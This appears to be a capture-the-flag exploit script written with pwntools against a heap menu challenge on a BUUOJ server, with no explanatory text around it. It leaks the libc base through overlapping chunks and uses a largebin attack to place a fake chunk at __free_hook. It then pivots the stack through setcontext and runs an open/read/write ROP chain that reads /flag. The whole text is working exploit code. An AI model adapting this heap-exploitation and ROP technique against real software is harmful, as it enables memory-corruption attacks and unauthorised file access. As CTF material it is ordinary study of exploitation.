1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * context(os='linux',arch='amd64') sh = remote('node3.buuoj.cn',28529) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook'] setcontext_s = libc.sym['setcontext'] open_s = libc.sym['open'] read_s = libc.sym['read'] write_s = libc.sym['write'] def add(size): sh.sendlineafter('Choice:','1') sh.sendlineafter('Size:',str(size)) def edit(index,content): sh.sendlineafter('Choice:','2') sh.sendlineafter('Index:',str(index)) sh.sendafter('Content:',content) def delete(index): sh.sendlineafter('Choice:','3') sh.sendlineafter('Index:',str(index)) def show(index): sh.sendlineafter('Choice:','4') sh.sendlineafter('Index:',str(index)) add(0xF0) add(0x38) add(0x3F0) add(0x10) add(0xF0) add(0x48) add(0x3F0) add(0x100) delete(0)
edit(1,'a'*0x30 + p64(0x40 + 0x100)) delete(2) add(0xF0) show(1) sh.recv(1) main_arena_88 = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s setcontext_addr = libc_base + setcontext_s write_addr = libc_base + write_s open_addr = libc_base + open_s read_addr = libc_base + read_s pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'setcontext_addr=',hex(setcontext_addr)
add(0x430)
delete(4) edit(5,'b'*0x40 + p64(0x50 + 0x100)) delete(6) add(0xF0)
add(0x440)
delete(2)
add(0x500)
delete(6)
fake_chunk = free_hook_addr - 0x10 edit(5,p64(0) + p64(fake_chunk))
payload = p64(0) + p64(fake_chunk + 0x8) payload += p64(0) + p64(fake_chunk - 0x18 - 0x5) edit(1,payload)
add(0x48)
'''mov rsp, [rdi+0A0h] ...''' rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr) payload = p64(setcontext_addr + 0x35) + '\x00'*0x8 payload += rop edit(6,payload)
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
delete(7) flag_addr = free_hook_addr + 0x40 + 0x98 rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr) rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr) rop2 += '/flag\x00' sleep(1) sh.send(rop2)
sh.interactive()
|